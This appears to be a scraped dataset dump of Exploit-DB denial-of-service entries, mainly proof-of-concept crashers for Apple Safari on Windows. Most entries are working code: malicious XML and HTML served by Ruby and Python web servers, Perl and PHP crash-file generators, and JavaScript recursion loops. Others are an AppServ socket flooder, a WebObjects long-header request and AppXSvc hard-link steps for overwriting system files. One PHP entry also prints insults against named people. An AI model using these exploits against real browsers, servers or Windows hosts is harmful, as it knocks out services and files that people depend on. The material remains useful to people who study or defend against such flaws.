deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8798
Description: Apple Safari - RSS 'feed://' Buffer Overflow via libxml2 (PoC)
Type: dos
Platform: windows
Date: 2009-05-26
Author: Kevin Finisterre

Exploit:
#!/usr/bin/ruby
#
# Quick-n-dirty PoC for APPLE-SA-2009-05-12 ala CVE-2008-3529
# Safari RSS feed:// buffer overflow via libxml2 by KF of Digitalmunition and Netragard 
# http://www.digitalmunition.com , http://www.netragard.com
# 
# The application PubSubAgent quit unexpectedly.
#
# Process:         PubSubAgent [3764]
# Path:            /System/Library/Frameworks/PubSub.framework/Versions/A/Resources/PubSubAgent.app/Contents/MacOS/PubSubAgent
# Identifier:      PubSubAgent
# Version:         ??? (???)
# Code Type:       X86 (Native)
# Parent Process:  launchd [282]
#
# Date/Time:       2008-10-31 15:31:41.355 -0400
# OS Version:      Mac OS X 10.5.5 (9F33)
# Report Version:  6
#
# Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
# Exception Codes: KERN_INVALID_ADDRESS at 0x[PII_REDACTED]050500
#
# Thread 0 crashed with X86 Thread State (32-bit):
#  eax: 0x41414141  ebx: 0x94580535  ecx: 0x00136150  edx: 0x05050500
#  edi: 0x00007000  esi: 0x00100000  ebp: 0xbfffe298  esp: 0xbfffe220
#   ss: 0x0000001f  efl: 0x00010206  eip: 0x94580605   cs: 0x00000017
#   ds: 0x0000001f   es: 0x0000001f   fs: 0x00000000   gs: 0x00000037
#  cr2: 0x05050500
#
# On Windows libxml2.dll provides all the fun since there is no PubSubAgent
# 
# EAX 0131FB10 ASCII "AAAAAAAAAAA..."
# ECX 003D0270
# EDX 00000000
# EBX 41414141
# ESP 030FE6FC
# EBP 030FE918
# ESI 0131FB08 ASCII "AAAAAAAAAAA..."
# EDI 41414141
# EIP 7C919084 ntdll.7C919084
# 
# 7C919084   8B0B             MOV ECX,DWORD PTR DS:[EBX]
# 7C919086   3B4F 04          CMP ECX,DWORD PTR DS:[EDI+4]


require 'webrick'
include WEBrick

# Thats right... no one is taking on water, this is public info (and has been for a while)!
# https://bugzilla.redhat.com/attachment.cgi?id=315480

XML_LOVE =
'<?xml version="1.0"?>' + "\n" +
'<!DOCTYPE longentity [' + "\n" +
'<!ELEMENT longentity (#PCDATA)>' + "\n" +
'<!ENTITY ' +
"A" * 1000 + " " +
'"ha"> ]>' + "\n" +
'<longentity location="&' +
"A" * 1000 +
';">text</longentity>' + "\n"

REDIR_LOVE =
'<meta http-equiv="REFRESH" content="0;url=feed://' + ARGV[0] + '/pwn">'

s = HTTPServer.new( :Port => 80 )

class REDIRECT < HTTPServlet::AbstractServlet
 def do_GET(req, res)
   res.body = REDIR_LOVE
   res['Content-Type'] = "text/html"
 end
end

class XMLLOVER < HTTPServlet::AbstractServlet
 def do_GET(req, res)
   res.body = XML_LOVE
   res['Content-Type'] = "text/xml"
 end
end

s.mount("/", REDIRECT)
s.mount("/pwn", XMLLOVER)

trap("INT"){ s.shutdown }
s.start

# milw0rm.com [2009-05-26]
Exploit-DB #30194
Description: Apple Safari 3 for Windows - 'Document.Location' Denial of Service
Type: dos
Platform: windows
Date: 2007-06-16
Author: azizov

Exploit:
source: https://www.securityfocus.com/bid/24499/info

Apple Safari for Windows is prone to a denial-of-service vulnerability because it fails to properly handle user-supplied input.

An attacker may exploit this issue by enticing victims into opening a maliciously crafted HTML document.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions.

Safari 3.0 and 3.0.1 public beta for Windows are reported vulnerable.

NOTE: At the time of writing, Symantec was unable to reproduce this vulnerability. We are investigating this issue further and will update this BID as more information emerges.

<script type='text/javascript'> document.location = ''; </script>
Exploit-DB #30193
Description: Apple Safari 3.0.1 for Windows - 'Corefoundation.dll' Denial of Service
Type: dos
Platform: windows
Date: 2007-06-16
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/24497/info

Apple Safari for Windows is prone to a denial-of-service vulnerability because it fails to properly handle user-supplied input.

An attacker may exploit this issue by enticing victims into opening a maliciously crafted HTML document.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions. Attackers may also be able to execute arbitrary code, but Symantec had not confirmed this.

Safari 3.0.1 public beta for Windows is reported vulnerable.

<html><Title>Safari 3.0.1 beta for windows Crash Poc By Lostmon</title> <body> <p>Safari 3.0.1 beta for windows Crash Poc By Lostmon (Lostmon@Gmail.com )</p> <p> Put some number in the second form for crash Safari</p> <form id="historyForm1" method="GET" action="#"> <input type="text" id="currentIndex1" name="currentIndex" value="sss"> <textarea id="historyLocation1" name="historyLocation">&lt;/textarea&gt; <form id="historyForm2" method="GET" action="#"> <input type="text" id="currentIndex2" name="currentIndex"> <textarea id="historyLocation2" name="historyLocation">&lt;/textarea&gt; </form></form></body></html>
Exploit-DB #30767
Description: Apple Safari 3.0.x for Windows - 'Document.Location.Hash' Buffer Overflow
Type: dos
Platform: windows
Date: 2007-06-25
Author: Azizov E

Exploit:
source: https://www.securityfocus.com/bid/26448/info

Safari for Windows is prone to a buffer overflow that occurs when an attacker entices a victim to view a maliciously crafted webpage.

A remote attacker may exploit this issue to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will result in denial-of-service conditions. 

<html> <body> <script> var maxbuf = 65474; buff = "A"; for (i=0;i<maxbuf;i++) { buff = buff+"A"; } document.location.hash = buff+"BOW! "; alert(document.location.hash); </script> </body> </html>
Exploit-DB #8325
Description: Apple Safari 3.2.2/4b - nested elements XML Parsing Remote Crash
Type: dos
Platform: windows
Date: 2009-03-31
Author: Ahmed Obied

Exploit:
#
#   Author : Ahmed Obied (ahmed.obied@gmail.com)
#
#   - Tested using:
#     -> Safari 3.2.2 on Windows
#     -> Safari 4 (BETA) on Windows 
#
#   Usage  : python safari.py [port]
#    

import sys, socket
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

class RequestHandler(BaseHTTPRequestHandler):
        
    def get_exploit(self):
        exploit = '<?xml version="1.0"?>'
        exploit += '<A>' * 30000 + '</A>' * 30000
        return exploit
            
    def log_request(self, *args, **kwargs):
        pass

    def do_GET(self):
        if self.path == '/':
            print
            print '[-] Incoming connection from %s' % self.client_address[0]
            print '[-] Sending header to %s ...' % self.client_address[0]
            self.send_response(200)
            self.send_header('Content-type', 'text/xml')
            self.end_headers()
            print '[-] Header sent to %s' % self.client_address[0]
            print '[-] Sending exploit to %s ...' % self.client_address[0]
            self.wfile.write(self.get_exploit())
            print '[-] Exploit sent to %s' % self.client_address[0]

def main():
    if len(sys.argv) != 2:
        print 'Usage: %s [port]' % sys.argv[0]
        sys.exit(1)
    try:
        port = int(sys.argv[1])
        if port < 1 or port > 65535:
            raise ValueError
        try:
            serv = HTTPServer(('', port), RequestHandler)
            ip = socket.gethostbyname(socket.gethostname())
            print '[-] Web server is running at http://%s:%d/' % (ip, port)
            try:
                serv.serve_forever()
            except KeyboardInterrupt:
                print '[-] Exiting ...' 
        except socket.error:
            print '[*] ERROR: a socket error has occurred ...'
        sys.exit(-1)    
    except ValueError:
        print '[*] ERROR: invalid port number ...'
        sys.exit(-1)
            
if __name__ == '__main__':
    main()

# milw0rm.com [2009-03-31]
Exploit-DB #33062
Description: Apple Safari 4 - 'reload()' Denial of Service
Type: dos
Platform: windows
Date: 2009-06-02
Author: SkyOut

Exploit:
source: https://www.securityfocus.com/bid/35555/info

Apple Safari is prone to a denial-of-service vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.
Given the nature of this issue, the attacker may also be able to run arbitrary code, but this has not been confirmed.

Safari 4.0 and 4.0.1 are vulnerable; other versions may also be affected.

<html> <body> <script src="empty.js"></script> <script> try { crashSafari(); } catch(e) { setTimeout("location.reload();",42); prompt('apple culpa? comment:'); } </script> </body> </html>
Exploit-DB #12437
Description: Apple Safari 4.0.3/4.0.4 - Stack Exhaustion
Type: dos
Platform: windows
Date: 2010-04-28
Author: Fredrik Nordberg Almroth

Exploit:
<script>
//Written by: Fredrik Nordberg Almroth
//URL: http://h.ackack.net/
//Affected: Safari 4.0.3 & 4.0.4 - Other versions might be vulnerable aswell.
  a="<script>var b=\"<iframe src='javascript:window.location=\"boom\"'></iframe>\";while(1){b=b+b;document.write(b);}</scr"+"ipt>";
  while(1){
    a=a+a;
    document.write(a);
  }
</script>
Exploit-DB #11601
Description: Apple Safari 4.0.4 (531.21.10) - Stack Overflow / Denial of Service
Type: dos
Platform: windows
Date: 2010-02-28
Author: John Cobb

Exploit:
#!/usr/bin/perl
#
# Safari 4.0.4 (531.21.10) - Stack Overflow/run
# 0Day DoS POC by John Cobb - www.NoBytes.com - 20/01/2010 - [v1.0]
# Tested on WinXP (32bit) SP3
#
# Magic Numbers:
# 114516 -> 114718 : Safari quits without error
# 114719 : Safari quits with illegal operation:
# AppName: safari.exe
# AppVer: 5.31.21.10
# ModName: cfnetwork.dll
# ModVer: 1.450.5.0
# Offset: 000567a7

$filename = $ARGV[0];
$buffer = $ARGV[1];
if(!defined($filename))
{
print "Usage: $0 <filename.html> <buffer>\n\n";
}

$header = "<html>
<head>" . "\n";
$crash = "<body background = \"" . "A" x $buffer . "\">" . "\n";
$footer = "</html>" . "\n";

$data = $header . $crash . $footer;

open(FILE, '>' . $filename);
print FILE $data;
close(FILE);

exit;
Exploit-DB #33608
Description: Apple Safari 4.0.4 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2010-02-07
Author: 599eme Man

Exploit:
source: https://www.securityfocus.com/bid/38133/info

Apple Safari is prone to a remote denial-of-service vulnerability.

Successful exploits may allow an attacker to crash the affected browser, resulting in a denial-of-service condition. Given the nature of this issue, memory corruption or code execution might be possible, but has not been confirmed.

The issue affects Safari 4.0.4; other versions may also be affected. 

<body onload="javascript:DoS();"></body> <script> function DoS() { var buffer = 'A'; for (i =0;i<150;i++) { buffer+=buffer+'A'; document.write('<html><marquee><h1>'+buffer+buffer); } } </script>
Exploit-DB #11347
Description: Apple Safari 4.0.4 / Firefox 3.5.7 / SeaMonkey 2.0.1 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2010-02-07
Author: 599eme Man

Exploit:
<!--
Safari 4.0.4 Remote Denial of Service (With Possible Memory Corruption With OOM)

Opera 10.10
Firefox 3.5.7
Safari 4.0.4
SeaMonkey 2.0.1

Author : 599eme Man
Contact : flouf@live.fr

-->

<body onload="javascript:DoS();"></body>

<script>

function DoS() {

var buffer = 'A';
for (i =0;i<150;i++) {
buffer+=buffer+'A';
document.write('<html><marquee><h1>'+buffer+buffer);
}

}

</script>
Exploit-DB #12408
Description: Apple Safari 4.0.5 (531.22.7) - Denial of Service
Type: dos
Platform: windows
Date: 2010-04-26
Author: Xss mAn

Exploit:
#!/usr/bin/perl
# Safari 4.0.5 (531.22.7) Denial of Service
# Exploit Title: [Safari 4.0.5 (531.22.7) Denial of Service]
# Date: [2010-04-26]
# Author: [Xss mAn]
# Software Link: [http://www.apple.com/safari/download/]
# Version: [Safari 4.0.5 (531.22.7)]
# Tested on: [windows 7]
#Gr33t [2] : T-T34M
$headr1="<HTML>\n<style type=\"text\/css\"\>\n";
$headr2="\nbody {alink: "."A/" x 13333337 ."}\n";
$headr3="</style>\n</HTML>";
open(file ,'>>Crash.html');
print file $headr1.$headr2.$headr3;
close(file);
#perl 4 M3N ;)
Exploit-DB #12487
Description: Apple Safari 4.0.5 - 'JavaScriptCore.dll' Stack Exhaustion
Type: dos
Platform: windows
Date: 2010-05-03
Author: Mathias Karlsson

Exploit:
<html>

<---------------------
Crash Report

  Problem Event Name:   APPCRASH
  Application Name:     Safari.exe
  Application Version:  5.31.22.7
  Application Timestamp:        4b8f94fa
  Fault Module Name:    JavaScriptCore.dll
  Fault Module Version: 5.31.22.5
  Fault Module Timestamp:       4b8cb88c
  Exception Code:       c00000fd
  Exception Offset:     000889f7
  OS Version:   6.1.7600.2.0.0.256.48
  Locale ID:    1053
  Additional Information 1:     d4bb
  Additional Information 2:     d4bb5342a8501f1ef1ad79845414ed25
  Additional Information 3:     57f4
  Additional Information 4:     57f4717a3dd18c61a213b49009cb5bb7

Tested on: Microsoft Windows 7
By: Mathias Karlsson
URL: http://h.ackack.net/

Note:
If you set the iframe src property to an external document containing the window.print(), the user does not have to press away the first print popup.

---------------------->

<script>
window.print();
a();
function a()
{
        setInterval(b,0);
}
function b()
{
        var c = document.createElement("iframe");
        c.setAttribute("src",document.location);
        document.getElementsByTagName("body")[0].appendChild(c);
        setInterval(a,0);
}
</script>
</html>
Exploit-DB #11838
Description: Apple Safari 4.0.5 - Object Tag 'JavaScriptCore.dll' Crash (Denial of Service)
Type: dos
Platform: windows
Date: 2010-03-22
Author: 3lkt3F0k4

Exploit:
<?php
/***************************************************************************
[TITLE]: SAFARI APPLE 4.0.5 (object tag) (JavaScriptCore.dll) DoS (Crash) 
[OS]: WINDOWS XP SP3
[DOWNLOAD]: http://www.apple.com/es/safari/download/
[AUTHOR]: 3lkt3F0k4
[CONTACT]: 3lkt3F0k4[i_love_spam]gmail[i_love_spam]com

-------------------------CRASH DUMP SNIP------------------------------------ 

Executable search path is: 
Windows XP Version 2600 (Service Pack 3) UP Free x86 compatible
Product: WinNt, suite: SingleUserTS
Machine Name:
Debug session time: Sun Mar 21 23:34:38.000 2010 (GMT+1)
System Uptime: not available
Process Uptime: 0 days 0:01:54.000
................................................................
This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(d94.d98): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=01417ea0 edx=0000000a esi=00011ae2 edi=7ff90240
eip=0137b267 esp=00128c50 ebp=00000000 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for JavaScriptCore.dll - 
JavaScriptCore!JSC::CString::~CString+0x40d7:
0137b267 c705efbeadbb00000000 mov dword ptr ds:[0BBADBEEFh],0 ds:0023:bbadbeef=????????

-------------------------CRASH DUMP SNIP------------------------------------ 

***************************************************************************/
$fuzz=str_repeat("<object>",10000);
echo "<title>SAFARI APPLE 4.0.5 (object tag) (JavaScriptCore.dll) DoS (Crash)</title>";
echo "<center><b><font color='#ff0000'>Wait please...Crash is coming...</font><br><br><br>";
echo "Spanish message for my friends:<br>";
echo "0wn3Dsss!!<br>";
echo "TiTo MC es un negro cabron que rapea como el puto culo.<br>";
echo "Chema Alonso a.k.a. maligno a.k.a. neo payaso MS.<br>";
echo "Eres vergonzoso, penoso, lamo, n44b, l3l,...<br>";
echo "Tus reflexiones son tristes y pobres, vas a comision? das pena chaval!<br>"; 
echo "Putos focaaaas!<br><br>";
echo "Greetz to my team: Spanishiit Team. Welcome everyone!<br>";
echo "We'll come back fucking more people...Sure!<br><br><br>";
echo "<hr width='80%' />";
echo "<font color='#ff0000'>I <3 Rooted CON 2010. Next year more! (shhhhhh)</font></center>";
echo $fuzz;
?>
Exploit-DB #32761
Description: Apple Safari For Windows 3.2.1 - URI Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-01-27
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/33481/info

Apple Safari is prone to a denial-of-service vulnerability because it fails to adequately sanitize user-supplied input.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

Apple Safari 3.2.1 for Windows is vulnerable; other versions may also be affected. 

# !/usr/bin/perl
# Safari_httpDoSPoc.pl
# Safari for Windows 3.2.1 Remote http: uri handler DoS
# Lostmon [Lostmon@gmail.com ]
#[http://lostmon.blogspot.com]


$archivo = $ARGV[0];
if(!defined($archivo))
{

print "Uso: $0 <archivo.html>\n";

}

$cabecera = "<html><Title> Safari 3.2.1 for windows Browser Die PoC By Lostmon</title>
<body>" . "\n";
$codigo = "<h3>Safari 3.2.1 for windows Browser Die PoC By Lostmon <br>(lostmon@gmail.com) http://lostmon.blogspot.com</h3>
<P>This PoC is a malformed http URI, this causes that safari for windows<br>
turn inestable and unresponsive.<br>
Click THIS link.=></p><a href=\"http://../\">Safari Die()</a> or this other =><a href=\"http://./\">Safari Die()</a>
";
$piepag = "</body></html>";

$datos = $cabecera . $codigo . $piepag;

open(FILE, '>' . $archivo);
print FILE $datos;
close(FILE);

exit;
Exploit-DB #20379
Description: Apple WebObjects Developer NT4 IIS4.0 CGI-adapter 4.5 - Developer Remote Overflow
Type: dos
Platform: windows
Date: 2000-04-04
Author: Bruce Potter

Exploit:
source: https://www.securityfocus.com/bid/1896/info

A denial-of-service vulnerability exists in Apple's WebObjects 4.5 Developer, a popular platform for developing web-based applications. The vulnerable version is Windows NT 4.0 SP5, when run in conjunction with the CGI-adapter and IIS 4.0.

An HTTP request sent with a long header (ie, over 4.1K), will crash webobjects.exe. This may also permit the attacker to remotely execute code with the privilege of IIS, but this has not been verified. 

This vulnerability is reportedly present only in installations running under a development license. Those licensed for deployment are not affected.

POST /scripts/WebObjects.exe/EmptyProject HTTP/1.0 
Accept: AAAAAAAAA.... (about 4.1K worth of A's) 
Content-Length: 16 
uselessdata=dork
Exploit-DB #26816
Description: AppServ Open Project 2.5.3 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2005-12-14
Author: Rozor

Exploit:
source: https://www.securityfocus.com/bid/15851/info

AppServ Open Project is reportedly affected by a remote denial of service vulnerability.

AppServ 2.5.3 running on Microsoft Windows platforms was reported to be vulnerable. Other versions may be affected as well. 

#Xploit PoC AppServ 2.5.3 "Win32" DoS \\ (0x001)
#appserv-dos.pl
#!C:\Perl\perl.exe
#C:\>perl appserv-dos.pl <tested ip> <port>
#By Rozor - !Sub_Level Security Investigation
#Thank To Miseo
#Tested In LocalHost.

sub banner {
print("--------------------------------------------\n");
print("|                                           |\n");
print("|    Proof Of Concept AppServ 2.5.3 DoS     |\n");
print("|    C:\>appserv-dos.pl <target> <port       |\n");
print("|                                           |\n");
print("|      By Rozor - !Sub_Level Research       |\n");
print("|                                           |\n");
print("---------------------------------------------\n");
}
die banner() unless $ARGV[0];
die banner() unless $ARGV[1];

use IO::Socket::INET;

my $host = $ARGV[0];
my $port = $ARGV[1];
my $space = "\x20";
my $i;
my $l;
my $j;

for ($i=0; $i<8000; $i++)
{
$l.="\x20";
}
print "\n\nAppServ 2.5.3 DoS Proof Of Concept\n .:By Rozor:. !Sub_Level\n";
print "Attack...\n";
my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort =>
$port, Proto => 'tcp') ||

die "Error: Conection reused$@\n";
my $buffer="GET / HTTP/1.0\n";
my $m = "$l\n";
send($sock,$buffer,0) || die "Error: Send not found\n";
for($l= 0; $l <[PII_REDACTED]; $l++)
{
print "[ $l -[PII_REDACTED] ]\r";
send($sock,$m,0) || die "Error: Send not found\n";
}
print "\nServer DoS Hack\n";
close($sock);
Exploit-DB #47768
Description: AppXSvc 17763 - Arbitrary File Overwrite (DoS)
Type: dos
Platform: windows
Date: 2019-12-11
Author: Gabor Seljan

Exploit:
# Exploit Title: AppXSvc 17763 - Arbitrary File Overwrite (DoS)
# Date: 2019-10-28
# Exploit Author: Gabor Seljan
# Vendor Homepage: https://www.microsoft.com/
# Version: 17763.1.amd64fre.rs5_release[PII_REDACTED]
# Tested on: Windows 10 Version 1809 for x64-based Systems
# CVE: CVE-2019-1476

# Summary:
# AppXSvc improperly handles file hard links resulting in a low privileged user
# being able to overwrite an arbitrary file leading to elevation of privilege.

# Description:

# An elevation of privilege vulnerability exists when the AppX Deployment Server
# (AppXSvc) improperly handles file hard links. While researching CVE-2019-0841
# originally reported by Nabeel Ahmed, I have found that AppXSvc can be forced
# to overwrite an arbitrary file by deleting all registry data files before
# creating the file hard link. As Nabeel Ahmed described in his write-up of
# CVE-2019-0841, if the settings.dat file is corrupted it will be replaced with
# the original settings.dat template. However, additional settings.dat.LOG1 and
# settings.dat.LOG2 files are also created during the initialization process.
# Substituting the settings.dat.LOG1 or the settings.dat.LOG2 file with a hard
# link allows a low privileged user to overwrite an arbitrary file with registry
# data or just simply empty it, respectively. A low privileged user could exploit
# this vulnerability to cause denial of service by overwriting critical system
# files.

Steps to reproduce:
1. Terminate Paint 3D processes.
2. Delete settings.* files in Microsoft.MSPaint_8wekyb3d8bbwe\Settings folder.
3. Create a hard link from settings.dat.LOG1 to C:\Windows\win.ini.
4. Execute the start ms-paint: command to run Paint 3D.
5. Terminate Paint 3D processes.

Expected result:
It isn't possible to overwrite a file not writable by a low privileged user.

Observed result:
C:\Windows\win.ini file is overwritten with registry data.

References:
https://github.com/sgabe/CVE-2019-1476
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1476
https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841
Exploit-DB #11150
Description: Aqua Real 1.0/2.0 - Local Crash (PoC)
Type: dos
Platform: windows
Date: 2010-01-15
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[*] Exploit Title: [Local Crash PoC]
[*] Author: [R3d-D3V!L]
[*] Vendor: [http://aquarealscreensaver.com/]
[*] vuln-Version: [Aqua Real 1 & 2]
[*] Tested on: [winxp-sp3]
[*]
[-] author: ((R3d-D3v!L))
[?] TEAM: ArAB!AN !NFORMAT!ON SeCuR!TY
[?] contact: N/A
[-]
[?] Date: 15. Jan. 2010
[?] T!ME: 04:30 am GMT
[?] Home: WwW.xP10.ME
[-]??????????????????????{DEV!L'5 of SYST3M}??????????????????

[/\/\]EXPLO!T


#!c/perl/bin/
my $file= "Crash.ar";
my $boom="\x41" x 5000;
open(myfile,'>>Crash.ar') || die "Cannot Creat file\n\n";
print myfile $boom;
print "Done..!~#\n";


[~]-----------------------------{((SHAD0W))}---------------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca &((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L<--M2Z--->JUPA<---aNd--->Devil ro0t))

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]---------------------------------------------------------------------------------------------